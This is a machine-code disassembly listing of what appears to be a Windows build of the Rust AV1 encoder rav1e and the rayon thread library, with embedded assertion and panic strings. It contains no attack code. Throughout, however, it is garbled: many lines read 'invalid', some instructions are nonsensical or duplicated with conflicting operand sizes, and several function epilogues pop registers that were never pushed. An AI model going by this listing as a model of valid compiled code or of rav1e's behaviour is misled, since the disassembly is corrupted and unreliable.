jne 0x140110b03
invalid
stosd dword [rdi], eax
or byte [rax], al
invalid
add rdx, rax
movzx eax, word [rdx + 2]
cmp ax, word [rsp + 0x1aa]
je case.0x14011017b.18
lea rcx, str.assertion_failed:_mv_stack_ref_mv_idx_.this_mv.col__mvs_0_.col_o__
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x140110b11
or byte [rax], al
invalid
cmp word [rsp + 0x1a8], 0
jne 0x140110b1b
cmp word [rsp + 0x1aa], 0
mov rdi, qword [rsp + 0x98]
add byte [rax], al
add byte [rdi], cl
invalid
mov dword [rax], ecx
add byte [rax], al
mov rsi, qword [rsp + 0xa0]
mov r14b, byte [rsp + 0x180]
add byte [rbx + rcx*4 - 0x44], cl
and al, 0xc0
add dword [rax], eax
invalid
cmp r14b, 0xd
mov r14, qword [rsp + 0xb0]
ja 0x1401104cc
mov al, byte [rsp + 0x180]
dec eax
cmp al, 8
jae 0x140110304
mov cl, byte [rsp + 0x1b0]
call fcn.1400c502f
test al, al
je 0x140110304
mov rcx, rdi
mov rdx, rsi
mov r8b, byte [rsp + 0x190]
mov r9b, byte [rsp + 0x180]
call fcn.1400e088c
mov eax, dword [r14 + 0x230]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x1b8]
mov rdx, r15
mov r8b, byte [rsp + 0x1b0]
mov r9, qword [rsp + 0xd0]
call fcn.1400cdd38
test al, al
je 0x1401103dc
mov bpl, byte [rsp + 0x1b0]
mov byte [rsp + 0x20], bpl
mov rcx, rdi
stc
mov rdx, rsi
mov r14b, byte [rsp + 0x188]
mov r8d, r14d
mov r9b, byte [rsp + 0x180]
call fcn.1400e08e8
cmp r14b, 0xd
jne 0x1401103a1
mov ecx, ebp
call fcn.1400cdf25
test al, al
je 0x140110aeb
mov rcx, rdi
mov rdx, rsi
mov r8d, dword [rsp + 0x1d0]
call fcn.1400e0a14
mov r14, qword [rsp + 0xb0]
mov ah, 0x24
mov al, 0
add byte [rax], al
jmp 0x1401103dc
lea eax, [r14 - 1]
cmp al, 8
mov r14, qword [rsp + 0xb0]
jae 0x1401103dc
mov cl, byte [rsp + 0x1b0]
call fcn.1400c502f
test al, al
je 0x1401103dc
mov rcx, rdi
mov rdx, rsi
mov r8b, byte [rsp + 0x198]
mov r9b, byte [rsp + 0x188]
call fcn.1400e088c
mov rax, qword [rsp + 0xb8]
cmp dword [rax + 0x2d0], 0
je 0x140110480
mov cl, byte [rsp + 0x1b0]
call fcn.1400c502f
test al, al
je 0x140110480
mov cl, byte [rsp + 0x1b0]
call fcn.14007c694
cmp rax, 0x40
ja 0x140110480
mov cl, byte [rsp + 0x1b0]
call fcn.14007c6af
cmp rax, 0x40
ja 0x140110480
mov eax, dword [r14 + 0x230]
mov dword [rsp + 0x48], eax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x38], rax
mov al, byte [rsp + 0x188]
mov byte [rsp + 0x30], al
mov al, byte [rsp + 0x180]
mov byte [rsp + 0x28], al
mov qword [rsp + 0x20], r15
mov rcx, rdi
mov rdx, rsi
mov edx, esi
mov r8b, byte [rsp + 0x1b0]
mov r9, qword [rsp + 0x1b8]
call fcn.1400e0ab5
mov al, byte [rsp + 0x180]
test al, al
jne 0x1401104cc
cmp byte [r14 + 0x263], 0
je 0x1401104cc
mov cl, byte [rsp + 0x1b0]
call fcn.14007c694
cmp rax, 0x20
ja 0x1401104cc
mov cl, byte [rsp + 0x1b0]
call fcn.14007c6af
cmp rax, 0x20
ja 0x1401104cc
mov rcx, rdi
mov rdx, rsi
mov r8b, byte [rsp + 0x1b0]
call fcn.1400e0ba1
mov rax, qword [rsp + 0xb8]
cmp byte [rax + 0x329], 0
je 0x140110599
invalid
add byte [rax], al
invalid
lea r14, [rdi + 0x30]
mov bpl, byte [rsp + 0x1b0]
mov ecx, ebp
xor edx, edx
call fcn.1400c4731
test al, al
mov dl, byte [rsp + 0x1d8]
je 0x140110522
mov al, byte [rsp + 0x180]
cmp al, 0xd
jbe 0x14011054a
cmp byte [rsp + 0x1c8], 0
mov bpl, byte [rsp + 0x1b0]
je 0x14011080c
mov al, byte [rsp + 0x180]
cmp al, 0xe
setae al
and al, byte [rsp + 0x1c8]
add byte [rax], al
mov byte [rsp + 0x20], dl
mov byte [rsp + 0x28], al
mov rcx, r14
mov rdx, qword [rsp + 0x1b8]
jmp 0x140110586
mov byte [rsp + 0x28], dl
mov bpl, byte [rsp + 0x1b0]
mov byte [rsp + 0x20], bpl
and al, 0x20
mov rcx, rdi
mov edi, edx
mov rdx, rsi
mov rsi, qword [rsp + 0x1b8]
mov r8, rsi
mov r9, r15
call fcn.1400e0bd0
mov byte [rsp + 0x20], dil
and al, 0x20
mov byte [rsp + 0x28], 0
mov rcx, r14
mov rdx, rsi
mov r8, r15
mov r9d, ebp
call fcn.14007667e
mov r14, qword [rsp + 0xb0]
cmp byte [r14 + 0x264], 0
mov r15b, byte [rsp + 0x180]
movzx edx, word [rsp + 0x1a0]
je 0x14011065a
xor eax, eax
cmp rax, r12
je 0x14011065a
lea rsi, [rax + 1]
mov rbp, rax
add rbp, qword [rsp + 0x1c0]
mov rax, rsi
cmp rbp, qword [rbx + 0x2f0]
jae 0x1401105b9
lea r15, [rbp + 1]
mov rdi, r13
mov r14, qword [rsp + 0x1b8]
sub rdi, 1
jb 0x14011064a
cmp r14, qword [rbx + 0x2e8]
jae 0x140110645
mov r9, qword [rbx + 0x30]
mov r8, r9
imul r8, rbp
imul r9, r15
mov rcx, qword [rbx + 0x20]
mov rdx, qword [rbx + 0x28]
call fcn.1400cf4ed
cmp r14, rdx
jae 0x14011084b
mov cl, byte [rsp + 0x180]
mov byte [rax + r14*4 + 2], cl
mov cl, byte [rsp + 0x188]
mov byte [rax + r14*4 + 3], cl
movzx edx, word [rsp + 0x1a0]
mov bh, 0x94
and al, 0xa0
add dword [rax], eax
add byte [rsi + 0x42], ah
mov dword [rax + rsi*4], edx
inc r14
jmp 0x1401105ec
mov rax, rsi
mov r15b, byte [rsp + 0x180]
jmp 0x1401105b9
cmp r15b, 0xd
jbe 0x14011073f
mov rax, qword [rsp + 0x1a8]
mov rdi, qword [rsp + 0x98]
mov r8, qword [rdi + 0x1278]
xor esi, esi
mov byte [rsp + 0x48], sil
mov r13, qword [rsp + 0x1c0]
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x40], ebp
mov dword [rsp + 0x40], ebp
mov r12, qword [rsp + 0x1b8]
mov qword [rsp + 0x38], r12
mov bpl, byte [rsp + 0x1b0]
mov byte [rsp + 0x30], bpl
mov qword [rsp + 0x28], rax
mov word [rsp + 0x20], dx
mov dword [rsp + 0x20], edx
mov dword [rsp + 0x20], edx
mov r14, qword [rsp + 0xb8]
mov rcx, r14
mov rdx, rbx
mov r9d, r15d
call fcn.140107404
invalid
dec dword [rdx + 0x2082484]
add byte [rax], al
mov byte [rsp + 0x70], al
and al, 0x70
invalid
and al, 0x70
mov al, byte [rsp + 0x200]
mov byte [rsp + 0x68], al
mov byte [rsp + 0x60], sil
mov al, byte [rsp + 0x1c8]
mov byte [rsp + 0x58], al
mov al, byte [rsp + 0x1e0]
add byte [rax - 0x75afdbbc], cl
test byte [rax + rbx*8], ah
add dword [rax], eax
add byte [rax + 0x40482444], cl
mov byte [rsp + 0x40], ch
add byte [rax - 0x75afdbbc], cl
test byte [rax + rbx*8], ah
add dword [rax], eax
add byte [rax + 0x40482444], cl
mov byte [rsp + 0x40], ch
mov qword [rsp + 0x38], r13
and al, 0x38
mov qword [rsp + 0x30], r12
mov al, byte [rsp + 0x190]
mov byte [rsp + 0x28], al
mov byte [rsp + 0x20], r15b
mov rcx, r14
mov ecx, esi
mov rdx, rbx
mov r8, rdi
mov r9, qword [rsp + 0xa0]
add byte [rax], al
add byte [rax], al
call fcn.14010bc45
jmp 0x1401107f7
mov al, byte [rsp + 0x208]
mov byte [rsp + 0x88], al
mov al, byte [rsp + 0x200]
mov byte [rsp + 0x80], al
mov eax, dword [rsp + 0x1d0]
mov dword [rsp + 0x70], eax
mov al, byte [rsp + 0x1c8]
mov byte [rsp + 0x68], al
mov al, byte [rsp + 0x1e0]
mov byte [rsp + 0x60], al
and al, 0x60
and al, 0x60
mov al, byte [rsp + 0x1d8]
mov byte [rsp + 0x58], al
mov al, byte [rsp + 0x1b0]
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x1b8]
test byte [rax + rdi*4], ah
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x40
test byte [rax + rdi*4], ah
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x40
mov al, byte [rsp + 0x198]
mov byte [rsp + 0x38], al
mov al, byte [rsp + 0x190]
mov byte [rsp + 0x30], al
mov al, byte [rsp + 0x188]
mov byte [rsp + 0x28], al
mov byte [rsp + 0x20], r15b
mov byte [rsp + 0x78], 0
and al, 0x78
add byte [rax - 0x75], cl
mov word [rax + rdi*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
fimul dword [rbx + rcx*4 - 0x7c]
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 - 0x74], cl
and al, 0xa0
add byte [rax], al
add al, ch
stosd dword [rdi], eax
invalid
invalid
and al, 0x78
add byte [rax - 0x75], cl
mov word [rax + rdi*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
fimul dword [rbx + rcx*4 - 0x7c]
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 - 0x74], cl
and al, 0xa0
add byte [rax], al
add al, ch
stosd dword [rdi], eax
invalid
nop
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx eax, bpl
lea rcx, [0x140240628]
mov sil, byte [rax + rcx]
xor al, 8
xor al, 8
mov rax, qword [rsp + 0xb8]
cmp byte [rax + 0x32a], 0
je 0x14011085a
mov ecx, edx
call fcn.1400ce1b3
mov ecx, eax
mov dl, byte [rsp + 0x1b0]
call fcn.1400cd5d9
mov bpl, byte [rsp + 0x1b0]
jmp 0x14011085c
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov rcx, r14
call fcn.1401c6eb0
xor eax, eax
mov r14, qword [rsp + 0xb0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov byte [rsp + 0x30], al
mov byte [rsp + 0x28], sil
mov byte [rsp + 0x20], bpl
and qword [rsp + 0x48], 0
mov rcx, rdi
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0x1b8]
mov r9, r15
call fcn.1400e0c9b
jmp 0x140110599
cmp bpl, 2
sete r14b
mov rcx, qword [r15 + 0x1278]
mov rdx, qword [rsp + 0x1b8]
mov r8, rdi
call fcn.1400d96c0
mov rcx, qword [r15 + 0x1288]
imul rax, rax, 0xc
lea r8, [rcx + rax]
add r8, 0x30
mov rdi, r15
sub r8, rcx
movzx edx, r14b
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov r9, r15
call case.0x1400617de.262
invalid
cld
inc dword [rbp + 0x31]
test byte [rbx + 0xa824ac], 0
mov ebp, dword [rsp + 0xa8]
cmp bpl, 7
sete r14b
mov rcx, qword [r15 + 0x1278]
mov rdx, qword [rsp + 0x1b8]
mov r15, qword [rsp + 0x1c0]
mov r8, r15
call fcn.1400d964d
mov rcx, qword [rdi + 0x1288]
lea r8, [rax*8]
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov edx, r14d
mov edx, esi
mov r9, rdi
mov edi, ebp
call case.0x1400617de.262
cmp dil, 7
mov r8, r15
mov r15, qword [rsp + 0x1f0]
je 0x14010ff65
xor r14d, r14d
cmp dil, 6
sete r14b
mov rdi, qword [rsp + 0x98]
mov rcx, qword [rdi + 0x1278]
mov rdx, qword [rsp + 0x1b8]
call fcn.1400d979e
mov rcx, qword [rdi + 0x1288]
lea r8, [rax*8 + 4]
mov qword [rsp + 0x20], rcx
mov rcx, rsi
mov edx, r14d
jmp 0x14010ff5d
cmp r15, 0xe
je 0x1401109f6
jmp case.0x14011017b.18
movzx r8d, word [rsp + 0x1ac]
movzx r9d, word [rsp + 0x1ae]
movzx eax, word [rsp + 0xc4]
movzx ecx, word [rsp + 0xc6]
mov byte [rsp + 0x30], sil
mov word [rsp + 0x28], cx
mov word [rsp + 0x20], ax
mov rcx, rdi
mov rdx, qword [rsp + 0xa0]
call fcn.1400e0762
jmp case.0x14011017b.18
movzx r14d, word [rsp + 0x1a8]
cmp byte [rsp + 0xa8], 0
je 0x140110a40
test r14w, r14w
jne 0x140110b56
cmp word [rsp + 0x1aa], 0
je case.0x14011017b.18
lea rcx, [rsp + 0x1aa]
lea r8, [rsp + 0xe8]
and qword [r8], 0
lea rdx, [0x1402898d8]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
call fcn.1401c8175
mov rdx, qword [rsp + 0x1f0]
cmp r14w, word [rdx]
jne 0x140110b72
movzx eax, word [rsp + 0x1aa]
cmp ax, word [rdx + 2]
je case.0x14011017b.18
lea rcx, [rsp + 0x1aa]
add rdx, 2
lea r8, [rsp + 0xe8]
and qword [r8], 0
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
call fcn.1401c8175
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srccontext_frame_header.rs
mov rcx, r15
call fcn.1401c6eb0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x140110852
mov edx, 0x23
call fcn.1401c6f30
lea rcx, str.assertion_failed:_num_mv_found___ref_mv_idx
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov edx, 0x2b
call fcn.1401c6f30
lea rcx, str.assertion_failed:_bsize.cfl_allowed__
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov edx, 0x25
call fcn.1401c6f30
lea rcx, str.assertion_failed:_mv_stack_ref_mv_idx_.this_mv.row__mvs_0_.row_o__
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov edx, 0x40
call fcn.1401c6f30
lea rcx, str.assertion_failed:_0__mvs_0_.row
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x140110b39
lea rcx, str.assertion_failed:_0__mvs_0_.col
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov edx, 0x21
call fcn.1401c6f30
lea rcx, str.assertion_failed:_num_mv_found___2
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x140110ac9
lea r8, [rsp + 0xe8]
and qword [r8], 0
lea rdx, [0x1402898d8]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
jmp 0x140110b85
lea r8, [rsp + 0xe8]
and qword [r8], 0
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
lea rcx, [rsp + 0x1a8]
call fcn.1401c8175
int3
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
in al, dx
pop rax
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x40], xmm6
and al, 0x40
mov rcx, qword [rbp + 0x6668]
invalid
add byte [rax], al
push 0x48000066
mov edx, dword [rbp + 0x6660]
xchg ebp, eax
invalid
add byte [rax], al
mov rdx, qword [rbp + 0x6660]
xchg ebp, eax
invalid
call fcn.140091fc7
mov byte [rbp + 0x667b], 1
movaps xmm6, xmmword [rsp + 0x40]
and al, 0x40
and al, 0x40
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x40], xmm6
mov rcx, qword [rbp + 0x6650]
mov rdx, qword [rbp + 0x6658]
mov edx, dword [rbp + 0x6658]
add byte [rax - 0x75], cl
xchg ebp, eax
pop rax
add byte [rax], al
mov edx, dword [rbp + 0x6658]
add byte [rax], al
call fcn.140091fc7
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
push rbx
sub rsp, 0x58
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
invalid
stosb byte [rdi], al
add byte [rax], 0
add byte [rdi], cl
movaps xmmword [rsp + 0x40], xmm6
movaps xmmword [rsp + 0x40], xmm6
mov bl, byte [rbp + 0x667a]
lea rcx, [rbp + 0x6360]
call fcn.14009e61c
invalid
scasd eax, dword [rdi]
idiv edi
or eax, 0x88fff7af
idiv edi
mov byte [rbp + 0x6675], bl
popfq
jne 0x140123779
add byte [rax], al
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
invalid
pop rax
pop rbx
pop rdi
pop rsi
invalid
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rbp
ret
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x58
sub esp, 0x58
sub esp, 0x58
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x40], xmm6
mov rcx, qword [rbp + 0x6640]
add byte [rax], al
add byte [rax], al
call fcn.14003cc4d
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsi
push rdi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x28], 0xfffffffffffffffe
invalid
invalid
invalid
dec dword [rbx + rcx*4 + 0x39]
invalid
invalid
mov rdi, qword [rcx + 0x10]
mov rbx, qword [rcx + 0x18]
mov r14, qword [rcx + 0x20]
invalid
and byte [rbx + rcx*4 + 0x69], cl
sub byte [rbx + rcx*4 + 0x61], cl
mov esp, dword [rcx + 0x30]
mov rax, qword [rcx + 0x38]
mov qword [rbp + 0x20], rax
mov dword [rbp + 0x20], eax
mov qword [rbp + 0x18], rcx
invalid
invalid
mov r13, qword [rcx + 0x28]
mov r12, qword [rcx + 0x30]
mov esp, dword [rcx + 0x30]
mov esp, dword [rcx + 0x30]
mov rax, qword [rcx + 0x38]
mov qword [rbp + 0x20], rax
mov dword [rbp + 0x20], eax
mov dword [rbp + 0x20], eax
mov qword [rbp + 0x18], rcx
mov rax, qword [rcx + 0x40]
mov qword [rbp + 0x10], rax
sbb byte [rax - 0x75], cl
mov qword [rbp + 0x10], rax
cmp qword [r14], 0
jne 0x1401237f2
mov rdx, qword [r13]
add rdx, 0x10
add edx, 0x10
add edx, 0x10
ret 0x4810
lea rcx, [rbp - 0x58]
call fcn.140092007
test al, 0xe8
xor al, 0xe8
idiv bh
mov rcx, qword [r14]
mov rdx, qword [r14 + 8]
call fcn.14011b5d8
push 0xc
pop rcx
lea rsi, [rbp - 0x58]
jne 0x14012378e
jne 0x14012378e
mov rax, rdi
mov rdi, r14
rep movsq qword [rdi], qword [rsi]
mov rdi, rax
mov edi, eax
mov edi, eax
mov r8, qword [r12]
lea rsi, [rbp - 0x58]
and al, 0x48
lea esi, [rbp - 0x58]
mov rcx, rsi
mov rdx, rbx
call fcn.1400a60fe
cmp qword [rsi], 0
je 0x14012382f
mov rdx, qword [r13]
add rdx, 0x10
mov r8, qword [r15]
mov rcx, r14
mov ecx, esi
mov ecx, esi
call fcn.14011b5e2
mov r8, rdx
lea rcx, [rbp - 0x58]
mov rdx, rax
call fcn.1400a6187
jmp 0x14012383b
mov rax, qword [rbp - 0x40]
shl rax, 4
shl eax, 4
shl eax, 4
add rax, qword [rbp - 0x50]
mov rcx, qword [rax + 8]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x140123876
mov rdx, qword [rax]
mov edx, dword [rax]
xor eax, eax
xor r8d, r8d
mov r9d, dword [rdx + r8*4]
add rax, r9
inc r8
cmp rcx, r8
jne 0x14012384c
movq xmm0, rax
punpckldq xmm0, xmmword [0x1401cdab0]
subpd xmm0, xmmword [0x1401cdac0]
haddpd xmm0, xmm0
jmp 0x14012387a
xorpd xmm0, xmm0
movq xmm1, rcx
punpckldq xmm1, xmmword [0x1401cdab0]
sub dword [rdx + 0xf66000a], esp
pop rsp
or eax, 0xaa231
haddpd xmm1, xmm1
divsd xmm0, xmm1
mov rax, qword [rbp + 0x20]
movsd qword [rax], xmm0
cmp byte [rdi + 0x2b], 0
je 0x1401238b9
mov rdx, qword [r12]
mov rcx, rbx
call fcn.1400985cd
mov rcx, rax
call fcn.1400a617d
mov rcx, qword [rbp + 0x10]
add rcx, 0x10
call fcn.1400a47cd
mov rcx, qword [rbp + 0x18]
sbb al, ch
jle 0x140123860
int1
call qword [rax - 0x473b7eb8]
nop
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rsi
sub rsp, 0x20
mov rsi, qword [rcx]
mov rcx, qword [rsi + 0x18]
mov rdx, qword [rsi + 0x20]
push rsi
and al, ch
mov esi, 0x48fff02c
dec dword [rax - 0x7d]
invalid
invalid
je 0x140134732
lock dec qword [rsi + 8]
jne 0x140134732
mov edx, 8
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp fcn.140001b50
invalid
invalid
in al, dx
invalid
nop
add rsp, 0x20
pop rsi
ret
ror byte [r9 - 0x77], 1
add byte [rcx - 0x78], al
or byte [rax - 0x73], cl
add eax, 0x115c14
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14024a478]
push 0x2b
sub ebx, dword [rdx - 0x18]
adc dword [rcx], ebp
or dword [rax], eax
sub ebx, dword [rdx - 0x18]
adc dword [rcx], ebp
or dword [rax], eax
ud2
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
sub rsp, 0x30
lea rbp, [rdx + 0x60]
invalid
mov rcx, qword [rbp - 0x30]
mov dl, byte [rbp - 0x28]
call fcn.140133f8e
nop
invalid
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push rsi
push rdi
sub rsp, 0x30
lea rbp, [rdx + 0x60]
push 0x60
push 0x60
mov rcx, qword [rbp - 0x30]
mov dl, byte [rbp - 0x28]
call fcn.140133f8e
pop rsp
idiv bh
invalid
pop rsp
idiv bh
call qword [rax + 0x30c48348]
nop
add rsp, 0x30
nop
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
push rsi
push rdi
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
clc
invalid
invalid
invalid
dec dword [rax - 0x73]
jno 0x140134963
cmp qword [rcx + 8], 0
invalid
clc
invalid
cmp dword [rcx + 8], 0
je 0x14013496b
mov rax, qword [rsi]
cmp rax, 3
jne 0x1401349c9
add rsp, 0x60
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
mov rax, rcx
mov eax, ecx
add rax, 0x14
lea rdi, [rbp - 0x20]
mov rcx, rdi
mov rdx, rax
call fcn.140133f39
cmp qword [rdi], 0
jne 0x140134a11
mov r8, qword [rdi + 8]
mov dl, byte [rdi + 0x10]
cmp byte [r8 + 2], 0
jne 0x1401349ba
js 0x140134998
add byte [rbp + 0x21], dh
and dword [rdx + rdx*8 - 0x3e6af0bf], eax
test dl, dl
setne r9b
rol byte [rcx + 0xf], cl
xchg ebp, eax
ror dword [rax - 0x77], 0xf9
mov rcx, rdi
mov rdx, rsi
call case.0x14002eaa5.812
invalid
dec dword [rax - 0x7d]
jge 0x14013498e
add byte [rbp + 0x2a], dh
invalid
mov r8, qword [rbp - 0x18]
mov dl, byte [rbp - 0x10]
push rbp
invalid
jmp 0x140134992
push rbp
invalid
mov rcx, r8
add rsp, 0x60
pop rdi
ror dword [rax - 0x7d], 0xc4
invalid
pop rsi
pop rbp
jmp fcn.140133f8e
mov rcx, rdx
mov rdx, rsi
add rsp, 0x60
add esp, 0x60
add esp, 0x60
pop rdi
pop rsi
pop rbp
jmp fcn.1401c9f92
mov rax, qword [rbp - 0x18]
mov cl, byte [rbp - 0x10]
lea r8, [rbp - 0x30]
call 0x18d03976d
lea eax, [rbp - 0x30]
mov qword [r8], rax
mov byte [r8 + 8], cl
mov byte [rax + 8], cl
mov byte [rax + 8], cl
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srclatch.rs
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
or eax, 0x154c90
and byte [rax - 0x73], cl
or eax, 0x154c90
lea r9, [0x14024a478]
push 0x2b
add byte [rdx + 0x2b], ch
pop rdx
call fcn.1401c7200
invalid
or dword [rax], eax
jmp 0x140134a45
invalid
mov rax, qword [rbp - 0x18]
mov cl, byte [rbp - 0x10]
lea r8, [rbp - 0x30]
mov qword [r8], rax
mov byte [r8 + 8], cl
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srclatch.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14024a478]
pop rdx
adc dword [rax], eax
pop rdx
adc dword [rax], eax
push 0x2b
pop rdx
call fcn.1401c7200
ud2
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
sub rsp, 0x30
lea rbp, [rdx + 0x60]
invalid
mov rcx, qword [rbp - 0x30]
mov dl, byte [rbp - 0x28]
call fcn.140133f8e
nop
add rsp, 0x30
pop rdi
pop rsi
pop rbp
ret
invalid
mov rdx, qword [rdx + 8]
jmp fcn.1400373d1
clc
jmp 0x1401371e7
add al, 0x4c
mov dword [rsi + 0x88], esi
mov qword [rsi + 0x80], r12
cmpsb byte [rsi], byte [rdi]
add byte [rax], 0
add byte [rcx + rcx*4 + 0x33], cl
cmpsb byte [rsi], byte [rdi]
add byte [rax], 0
add byte [rcx + rcx*4 + 0x33], cl
push 0x3e
pop rax
imul rax, rax, 0x18
mov rcx, qword [rbp + 0x5b0]
add byte [rax], al
add byte [rax], al
mov qword [rbx + rax + 8], rcx
or byte [rax - 0x75], cl
lea ebp, [rax + 0x48000005]
mov dword [rbx + rax + 0x10], ecx
add r10, qword [rax]
mov rcx, qword [rbp + 0x5a8]
mov qword [rbx + rax + 0x10], rcx
add r10, qword [rax]
add r10, qword [rax]
lock or qword [rbx + rax + 0x18], 1
sbb byte [rcx], al
add dword [rbx + 0x8743eff], eax
cmp edi, 0x3e
je 0x140137217
invalid
or byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
call fcn.14000c3f3
mov rax, qword [rbp + 0x5a0]
mov eax, dword [rbp + 0x5a0]
add eax, 0x33480000
xor rax, qword [rbp + 0x598]
cmp rax, 2
test dword [rax + 0x48000005], ebx
cmp eax, 2
setb dl
add rsi, 0x158
add esi, 0x158
add esi, 0x158
add dword [rax], eax
add byte [rdi], cl
mfence
mfence
mov rcx, rsi
add rsp, 0x648
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp fcn.140137286
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
xor ecx, ecx
call fcn.14000c3f3
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
ror dword [rax - 0x7f], 0xe1
loope 0x1401372a0
invalid
inc dword [rax]
add byte [rsi + rcx - 0x7c], dh
invalid
add byte [rax], al
je 0x1401372b4
test bl, bl
je 0x1401372bb
shr eax, 0x10
sub eax, ecx
test rax, rax
invalid
adc byte [rcx], ch
enter 0xffffffffffff8548, 0xffffffffffffffc0
invalid
sal byte [rdi + rax + 0x48], 0x83
invalid
je 0x1401372bb
add rsp, 0x28
pop rbx
pop rsi
ret
mov rcx, rsi
mov edx, 1
add rsp, 0x28
add esp, 0x28
add esp, 0x28
pop rbx
pop rsi
jmp fcn.1401ca56a
pushfq
xor cl, byte [rcx]
invalid
pushfq
xor cl, byte [rcx]
add byte [rax - 0x75], cl
mov rax, qword [rcx]
bt rax, 0x20
loopne 0x1401372f6
jb 0x1401372e9
loopne 0x1401372f6
jb 0x1401372e9
mov rdx, rax
mov edx, eax
bts rdx, 0x20
lock cmpxchg qword [rcx], rdx
jne fcn.1401372ce
jmp 0x1401372ec
mov rdx, rax
mov rax, rdx
ret
add al, dh
inc qword [rax]
jle 0x14013732f
mov r8, qword [rdx + 0x110]
lock inc qword [r8]
add dword [rax], eax
add al, dh
inc qword [r8]
jle 0x14013732f
mov rdx, qword [rdx + 0x100]
mov qword [rcx], rax
and qword [rcx + 8], 0
mov qword [rcx + 0x10], 1
mov dword [rcx + 0x10], 1
mov dword [rcx + 0x10], 1
